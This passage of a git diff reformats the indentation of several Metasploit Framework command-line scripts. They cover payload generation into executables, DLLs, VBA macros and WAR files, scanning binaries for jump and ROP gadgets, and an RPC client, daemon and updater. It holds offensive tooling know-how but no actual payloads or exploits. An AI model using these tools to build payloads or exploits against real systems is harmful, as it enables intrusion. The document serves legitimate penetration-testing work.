[] # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx + #puts "opt[%d]: #{opt.inspect} / #{val.inspect}" % idx - case opt - when "-l" - cmd = "list" - break + case opt + when "-l" + cmd = "list" + break - # Non-option (don't begin with '-') are processed here - when nil - rest << val + # Non-option (don't begin with '-') are processed here + when nil + rest << val - end + end } if (cmd != "list" and rest.length < 2) - usage + usage end require 'msf/ui' @@ -65,31 +65,31 @@ require 'msf/base' # Dump the list of payloads # def dump_payloads - tbl = Rex::Ui::Text::Table.new( - 'Indent' => 4, - 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", - 'Columns' => - [ - "Name", - "Description" - ]) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => 4, + 'Header' => "Framework Payloads (#{$framework.stats.num_payloads} total)", + 'Columns' => + [ + "Name", + "Description" + ]) - $framework.payloads.each_module { |name, mod| - tbl << [ name, mod.new.description ] - } + $framework.payloads.each_module { |name, mod| + tbl << [ name, mod.new.description ] + } - "\n" + tbl.to_s + "\n" + "\n" + tbl.to_s + "\n" end # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ], + 'DisableDatabase' => true ) if cmd == "list" - puts dump_payloads - exit + puts dump_payloads + exit end @@ -103,8 +103,8 @@ Msf::Ui::Common.process_cli_arguments($framework, rest) payload = $framework.payloads.create(payload_name) if (payload == nil) - $stderr.puts "Invalid payload: #{payload_name}" - exit + $stderr.puts "Invalid payload: #{payload_name}" + exit end # Evalulate the command @@ -113,130 +113,130 @@ cmd = rest.pop.downcase # Populate the framework datastore options = {} rest.each do |x| - k,v = x.split("=", 2) - options[k] = v.to_s + k,v = x.split("=", 2) + options[k] = v.to_s end payload.datastore.merge! options if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) - fmt = 'perl' if (cmd =~ /^p$/) - fmt = 'ruby' if (cmd =~ /^y$/) - fmt = 'raw' if (cmd =~ /^(r|x|d)$/) - fmt = 'raw' if (cmd =~ /^v$/) - fmt = 'c' if (cmd =~ /^c$/) - fmt = 'csharp' if (cmd =~ /^h$/) - fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) - fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) - fmt = 'java' if (cmd =~ /^b$/) - fmt = 'raw' if (cmd =~ /^w$/) - fmt = 'python' if (cmd =~ /^n$/) - enc = options['ENCODER'] + fmt = 'perl' if (cmd =~ /^p$/) + fmt = 'ruby' if (cmd =~ /^y$/) + fmt = 'raw' if (cmd =~ /^(r|x|d)$/) + fmt = 'raw' if (cmd =~ /^v$/) + fmt = 'c' if (cmd =~ /^c$/) + fmt = 'csharp' if (cmd =~ /^h$/) + fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) + fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) + fmt = 'java' if (cmd =~ /^b$/) + fmt = 'raw' if (cmd =~ /^w$/) + fmt = 'python' if (cmd =~ /^n$/) + enc = options['ENCODER'] - begin - buf = payload.generate_simple( - 'Format' => fmt, - 'Options' => options, - 'Encoder' => enc) - rescue - $stderr.puts "Error generating payload: #{$!}" - exit - end + begin + buf = payload.generate_simple( + 'Format' => fmt, + 'Options' => options, + 'Encoder' => enc) + rescue + $stderr.puts "Error generating payload: #{$!}" + exit + end - $stdout.binmode + $stdout.binmode - if (cmd =~ /^x$/) - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" + if (cmd =~ /^x$/) + note = + "Created by msfpayload (http://www.metasploit.com).\n" + + "Payload: " + payload.refname + "\n" + + " Length: " + buf.length.to_s + "\n" + + "Options: " + options.inspect + "\n" - arch = payload.arch - plat = payload.platform.platforms + arch = payload.arch + plat = payload.platform.platforms - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) + exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_jar.pack - end + if(!exe and plat.index(Msf::Module::Platform::Java)) + exe = payload.generate_jar.pack + end - if(exe) - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end + if(exe) + $stderr.puts(note) + $stdout.write(exe) + exit(0) + end - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end + $stderr.puts "No executable format support for this arch/platform" + exit(-1) + end - if(cmd =~ /^v$/) - exe = Msf::Util::EXE.to_win32pe($framework, buf) - note = - "'Created by msfpayload (http://www.metasploit.com).\r\n" + - "'Payload: " + payload.refname + "\r\n" + - "' Length: " + buf.length.to_s + "\r\n" + - "'Options: " + options.inspect + "\r\n" + if(cmd =~ /^v$/) + exe = Msf::Util::EXE.to_win32pe($framework, buf) + note = + "'Created by msfpayload (http://www.metasploit.com).\r\n" + + "'Payload: " + payload.refname + "\r\n" + + "' Length: " + buf.length.to_s + "\r\n" + + "'Options: " + options.inspect + "\r\n" - vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) - $stdout.write(vba) - exit(0) - end + vba = note + "\r\n" + Msf::Util::EXE.to_exe_vba(exe) + $stdout.write(vba) + exit(0) + end - if(cmd =~ /^d$/) - dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) - note = - "Created by msfpayload (http://www.metasploit.com).\r\n" + - "Payload: " + payload.refname + "\r\n" + - " Length: " + buf.length.to_s + "\r\n" + - "Options: " + options.inspect + "\r\n" + if(cmd =~ /^d$/) + dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) + note = + "Created by msfpayload (http://www.metasploit.com).\r\n" + + "Payload: " + payload.refname + "\r\n" + + " Length: " + buf.length.to_s + "\r\n" + + "Options: " + options.inspect + "\r\n" - if(dll) - $stderr.puts(note) - $stdout.write(dll) - exit(0) - end + if(dll) + $stderr.puts(note) + $stdout.write(dll) + exit(0) + end - $stderr.puts "Failed to build dll" - exit(-1) - end + $stderr.puts "Failed to build dll" + exit(-1) + end - if(cmd =~ /^w$/) - note = - "Created by msfpayload (http://www.metasploit.com).\n" + - "Payload: " + payload.refname + "\n" + - " Length: " + buf.length.to_s + "\n" + - "Options: " + options.inspect + "\n" + if(cmd =~ /^w$/) + note = + "Created by msfpayload (http://www.metasploit.com).\n" + + "Payload: " + payload.refname + "\n" + + " Length: " + buf.length.to_s + "\n" + + "Options: " + options.inspect + "\n" - arch = payload.arch - plat = payload.platform.platforms + arch = payload.arch + plat = payload.platform.platforms - exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) - exe = payload.generate_war.pack - else - exe = Msf::Util::EXE.to_jsp_war(exe) - end + exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) + if(!exe and plat.index(Msf::Module::Platform::Java)) + exe = payload.generate_war.pack + else + exe = Msf::Util::EXE.to_jsp_war(exe) + end - if(exe) - $stderr.puts(note) - $stdout.write(exe) - exit(0) - end + if(exe) + $stderr.puts(note) + $stdout.write(exe) + exit(0) + end - $stderr.puts "No executable format support for this arch/platform" - exit(-1) - end + $stderr.puts "No executable format support for this arch/platform" + exit(-1) + end - $stdout.write(buf) + $stdout.write(buf) elsif (cmd =~ /^(s|o)$/) - payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') - puts Msf::Serializer::ReadableText.dump_module(payload) + payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') + puts Msf::Serializer::ReadableText.dump_module(payload) else - $stderr.puts "Invalid command: #{cmd.inspect}" + $stderr.puts "Invalid command: #{cmd.inspect}" end diff --git a/msfpescan b/msfpescan index 33ce327765..4c73c55e17 100755 --- a/msfpescan +++ b/msfpescan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -24,7 +24,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end @@ -50,102 +50,102 @@ param = {} pe_klass = Rex::PeParsey::Pe opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::PeScan::Scanner::JmpRegScanner - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + worker = Rex::PeScan::Scanner::JmpRegScanner + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::PeScan::Scanner::PopPopRetScanner - param['args'] = t + worker = Rex::PeScan::Scanner::PopPopRetScanner + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::PeScan::Scanner::RegexScanner - param['args'] = t + worker = Rex::PeScan::Scanner::RegexScanner + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::PeScan::Search::DumpRVA - param['args'] = opt2i(t) + worker = Rex::PeScan::Search::DumpRVA + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::PeScan::Search::DumpOffset - param['args'] = opt2i(t) + worker = Rex::PeScan::Search::DumpOffset + param['args'] = opt2i(t) end opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler') do |t| - worker = Rex::PeScan::Analyze::Fingerprint - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') + worker = Rex::PeScan::Analyze::Fingerprint + param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') end opt.on('-i', '--info', 'Display detailed information about the image') do |t| - worker = Rex::PeScan::Analyze::Information + worker = Rex::PeScan::Analyze::Information end opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk ') do |t| - worker = Rex::PeScan::Analyze::Ripper - param['dir'] = t + worker = Rex::PeScan::Analyze::Ripper + param['dir'] = t end opt.on('--context-map [directory]', 'Generate context-map files') do |t| - worker = Rex::PeScan::Analyze::ContextMapDumper - param['dir'] = t + worker = Rex::PeScan::Analyze::ContextMapDumper + param['dir'] = t end opt.separator('') opt.separator('Options:') opt.on('-M', '--memdump', 'The targets are memdump.exe directories') do |t| - pe_klass = Rex::PeParsey::PeMemDump + pe_klass = Rex::PeParsey::PeMemDump end opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t| - param['disasm'] = true + param['disasm'] = true end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression') do |t| - param['filteraddr'] = t + param['filteraddr'] = t end opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if (! worker) - puts opt - exit(1) + puts opt + exit(1) end @@ -153,48 +153,48 @@ files = [] ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end end files.each do |file| - $stdout.puts "" + $stdout.puts "" - param['file'] = file + param['file'] = file - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end + begin + pe = pe_klass.new_from_file(file, true) + rescue ::Interrupt + raise $! + rescue Rex::PeParsey::FileHeaderError + next if $!.message == "Couldn't find the PE magic!" + raise $! + rescue Errno::ENOENT + $stdout.puts("File does not exist: #{file}") + next + rescue ::Rex::PeParsey::SkipError + next + rescue ::Exception => e + $stdout.puts "[#{file}] #{e.class}: #{e}" + next + end - if (param['imagebase']) - pe.image_base = param['imagebase']; - end + if (param['imagebase']) + pe.image_base = param['imagebase']; + end - o = worker.new(pe) - o.scan(param) + o = worker.new(pe) + o.scan(param) - pe.close + pe.close end $stdout.puts "" diff --git a/msfrop b/msfrop index 91283e5717..6aa9818306 100755 --- a/msfrop +++ b/msfrop @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -28,7 +28,7 @@ require 'rex/ui/text/color' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opts = {} @@ -40,45 +40,45 @@ opt.separator('') opt.separator('Options:') opt.on('-d', '--depth [size]', 'Number of maximum bytes to backwards disassemble from return instructions') do |d| - opts[:depth] = opt2i(d) + opts[:depth] = opt2i(d) end opt.on('-s', '--search [regex]', 'Search for gadgets matching a regex, match intel syntax or raw bytes') do |regex| - opts[:pattern] = regex + opts[:pattern] = regex end opt.on('-n', '--nocolor', 'Disable color. Useful for piping to other tools like the less and more commands') do - color = false + color = false end opt.on('-x', '--export [filename]', 'Export gadgets to CSV format') do |csv| - opts[:export] = csv + opts[:export] = csv end opt.on('-i', '--import [filename]', 'Import gadgets from previous collections') do |csv| - opts[:import] = csv + opts[:import] = csv end opt.on('-v', '--verbose', 'Output very verbosely') do - opts[:verbose] = true + opts[:verbose] = true end opt.on_tail('-h', '--help', 'Show this message') do - puts opt - exit(1) + puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) + puts "Invalid option, try -h for usage" + exit(1) end if opts.empty? and (ARGV.empty? or ARGV.nil?) - puts "no options" - puts opt - exit(1) + puts "no options" + puts opt + exit(1) end # set defaults @@ -87,88 +87,88 @@ opts[:depth] ||= 5 gadgets = [] if opts[:import].nil? - files = [] - ARGV.each do |file| - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end - end - - ropbuilder = Rex::RopBuilder::RopCollect.new + files = [] + ARGV.each do |file| + if(File.directory?(file)) + dir = Dir.open(file) + dir.entries.each do |ent| + path = File.join(file, ent) + next if not File.file?(path) + files << File.join(path) + end + else + files << file + end + end + + ropbuilder = Rex::RopBuilder::RopCollect.new - files.each do |file| - ret, retn = [] - ropbuilder = Rex::RopBuilder::RopCollect.new(file) - ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color) - retn = ropbuilder.collect(opts[:depth], "\xc2") # retn - ret = ropbuilder.collect(opts[:depth], "\xc3") # ret - ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color) + files.each do |file| + ret, retn = [] + ropbuilder = Rex::RopBuilder::RopCollect.new(file) + ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color) + retn = ropbuilder.collect(opts[:depth], "\xc2") # retn + ret = ropbuilder.collect(opts[:depth], "\xc3") # ret + ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color) - # compile a list of all gadgets from all files - ret.each do |gadget| - gadgets << gadget - if opts[:verbose] - ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg("#{gadget[:disasm]}\n", color) - end - end + # compile a list of all gadgets from all files + ret.each do |gadget| + gadgets << gadget + if opts[:verbose] + ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg("#{gadget[:disasm]}\n", color) + end + end - retn.each do |gadget| - gadgets << gadget - if opts[:verbose] - ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg("#{gadget[:disasm]}\n", color) - end - end - - end + retn.each do |gadget| + gadgets << gadget + if opts[:verbose] + ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg("#{gadget[:disasm]}\n", color) + end + end + + end - ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color) + ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color) end if opts[:import] - ropbuilder = Rex::RopBuilder::RopCollect.new() - ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color) - gadgets = ropbuilder.import(opts[:import]) + ropbuilder = Rex::RopBuilder::RopCollect.new() + ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color) + gadgets = ropbuilder.import(opts[:import]) - gadgets.each do |gadget| - ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color) - ropbuilder.print_msg(gadget[:disasm] + "\n", color) - end + gadgets.each do |gadget| + ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color) + ropbuilder.print_msg(gadget[:disasm] + "\n", color) + end - ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color) + ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color) end if opts[:pattern] - matches = ropbuilder.pattern_search(opts[:pattern]) - if opts[:verbose] - ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color) - end + matches = ropbuilder.pattern_search(opts[:pattern]) + if opts[:verbose] + ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color) + end end if opts[:export] - ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color) - csv = ropbuilder.to_csv(gadgets) + ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color) + csv = ropbuilder.to_csv(gadgets) - if csv.nil? - exit(1) - end + if csv.nil? + exit(1) + end - begin - fd = File.new(opts[:export], 'w') - fd.puts csv - fd.close - rescue - puts "Error writing #{opts[:export]} file" - exit(1) - end - ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color) + begin + fd = File.new(opts[:export], 'w') + fd.puts csv + fd.close + rescue + puts "Error writing #{opts[:export]} file" + exit(1) + end + ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color) end diff --git a/msfrpc b/msfrpc index 7947632f31..4a791dfc13 100755 --- a/msfrpc +++ b/msfrpc @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -26,51 +26,51 @@ require 'rex/parser/arguments' # Declare the argument parser for msfrpc arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Connect to this IP address" ], - "-p" => [ true, "Connect to the specified port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-h" => [ false, "Help banner" ] + "-a" => [ true, "Connect to this IP address" ], + "-p" => [ true, "Connect to the specified port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-h" => [ false, "Help banner" ] ) opts = { - 'User' => 'msf', - 'SSL' => true, - 'ServerPort' => 55553, - 'Type' => 'Msg' + 'User' => 'msf', + 'SSL' => true, + 'ServerPort' => 55553, + 'Type' => 'Msg' } # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-h" - print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-h" + print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) + exit + end } if(not opts['ServerHost']) - $stderr.puts "[-] Error: a server IP must be specified (-a)" - $stderr.puts arguments.usage - exit(0) + $stderr.puts "[-] Error: a server IP must be specified (-a)" + $stderr.puts arguments.usage + exit(0) end if(not opts['Pass']) - $stderr.puts "[-] Error: a password must be specified (-P)" - $stderr.puts arguments.usage - exit(0) + $stderr.puts "[-] Error: a password must be specified (-P)" + $stderr.puts arguments.usage + exit(0) end $0 = "msfrpc" @@ -79,9 +79,9 @@ require 'msf/core/rpc/v10/client' require 'rex/ui' rpc = Msf::RPC::Client.new( - :host => opts['ServerHost'], - :port => opts['ServerPort'], - :ssl => opts['SSL'] + :host => opts['ServerHost'], + :port => opts['ServerPort'], + :ssl => opts['SSL'] ) res = rpc.login(opts['User'], opts['Pass']) diff --git a/msfrpcd b/msfrpcd index 31b0196435..892dd61a63 100755 --- a/msfrpcd +++ b/msfrpcd @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -26,22 +26,22 @@ require 'rex/parser/arguments' # Declare the argument parser for msfrpcd arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address" ], - "-p" => [ true, "Bind to this port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-u" => [ true, "URI for Web server" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-n" => [ false, "Disable database" ], - "-h" => [ false, "Help banner" ]) + "-a" => [ true, "Bind to this IP address" ], + "-p" => [ true, "Bind to this port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-u" => [ true, "URI for Web server" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-n" => [ false, "Disable database" ], + "-h" => [ false, "Help banner" ]) opts = { - 'RunInForeground' => true, - 'SSL' => true, - 'ServerHost' => '0.0.0.0', - 'ServerPort' => 55553, - 'ServerType' => 'Msg' + 'RunInForeground' => true, + 'SSL' => true, + 'ServerHost' => '0.0.0.0', + 'ServerPort' => 55553, + 'ServerType' => 'Msg' } foreground = false @@ -50,32 +50,32 @@ frameworkOpts = {} # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-S" - opts['SSL'] = false - when "-p" - opts['ServerPort'] = val - when '-U' - opts['User'] = val - when '-P' - opts['Pass'] = val - when "-f" - foreground = true - when "-u" - opts['URI'] = val - when "-n" - frameworkOpts['DisableDatabase'] = true - when "-h" - print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-f" + foreground = true + when "-u" + opts['URI'] = val + when "-n" + frameworkOpts['DisableDatabase'] = true + when "-h" + print("\nUsage: #{File.basename(__FILE__)} <options>\n" + arguments.usage) + exit + end } if(not opts['Pass']) - $stderr.puts "[-] Error: a password must be specified (-P)" - exit(0) + $stderr.puts "[-] Error: a password must be specified (-P)" + exit(0) end $0 = "msfrpcd" @@ -92,14 +92,14 @@ require 'msf/ui' # Fork into the background if requested begin - if foreground - $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." - else - $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." - exit(0) if Process.fork() - end + if foreground + $stdout.puts "[*] #{rpctype}RPC ready at #{Time.now}." + else + $stderr.puts "[*] #{rpctype}RPC backgrounding at #{Time.now}..." + exit(0) if Process.fork() + end rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" + $stderr.puts "[-] Background mode is not available on this platform" end # Create an instance of the framework @@ -109,7 +109,7 @@ $framework.db.sink.restart if RUBY_PLATFORM !~ /cygwin/ and not frameworkOpts['D # Run the plugin instance in the foreground. begin - $framework.plugins.load("#{rpctype.downcase}rpc", opts).run + $framework.plugins.load("#{rpctype.downcase}rpc", opts).run rescue ::Interrupt - $stderr.puts "[*] Shutting down" + $stderr.puts "[*] Shutting down" end diff --git a/msfupdate b/msfupdate index 69e83e1e16..9ac8913bb7 100755 --- a/msfupdate +++ b/msfupdate @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end @msfbase_dir = File.dirname(msfbase) @@ -25,103 +25,103 @@ $stderr.puts "" # Bail right away, no waiting around for consoles. if not (Process.uid == 0 or File.stat(msfbase).owned?) - $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" - $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." - exit 0x10 + $stderr.puts "[-] ERROR: User running msfupdate does not own the Metasploit installation" + $stderr.puts "[-] Please run msfupdate as the same user who installed Metasploit." + exit 0x10 end def is_apt - File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) + File.exists?(File.expand_path(File.join(@msfbase_dir, '.apt'))) end # Are you an installer, or did you get here via a source checkout? def is_installed - File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt + File.exists?(File.expand_path(File.join(@msfbase_dir, "..", "engine", "update.rb"))) && !is_apt end def is_git - File.directory?(File.join(@msfbase_dir, ".git")) + File.directory?(File.join(@msfbase_dir, ".git")) end def is_svn - File.directory?(File.join(@msfbase_dir, ".svn")) + File.directory?(File.join(@msfbase_dir, ".svn")) end # Adding an upstream enables msfupdate to pull updates from # Rapid7's metasploit-framework repo instead of the repo # the user originally cloned or forked. def add_git_upstream - $stdout.puts "[*] Attempting to add remote 'upstream' to your local git repository." - system("git", "remote", "add", "upstream", "git://github.com/rapid7/metasploit-framework.git") - $stdout.puts "[*] Added remote 'upstream' to your local git repository." + $stdout.puts "[*] Attempting to add remote 'upstream' to your local git repository." + system("git", "remote", "add", "upstream", "git://github.com/rapid7/metasploit-framework.git") + $stdout.puts "[*] Added remote 'upstream' to your local git repository." end def print_deprecation_warning - $stdout.puts "" - $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" - $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" - $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," - $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" - $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" - $stdout.puts "[-] " - $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" - $stdout.puts "" + $stdout.puts "" + $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" + $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" + $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," + $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" + $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" + $stdout.puts "[-] " + $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" + $stdout.puts "" end # This only exits if you actually pass a wait option, otherwise # just returns nil. This is likely unexpected, revisit this. def maybe_wait_and_exit(exit_code=0) - if @actually_wait - $stdout.puts "" - $stdout.puts "[*] Please hit enter to exit" - $stdout.puts "" - $stdin.readline - exit exit_code - end + if @actually_wait + $stdout.puts "" + $stdout.puts "[*] Please hit enter to exit" + $stdout.puts "" + $stdin.readline + exit exit_code + end end def apt_upgrade_available(package) - require 'open3' - installed = nil - upgrade = nil - ::Open3.popen3({'LANG'=>'en_US.UTF-8'}, "apt-cache", "policy", package) do |stdin, stdout, stderr| - stdout.each 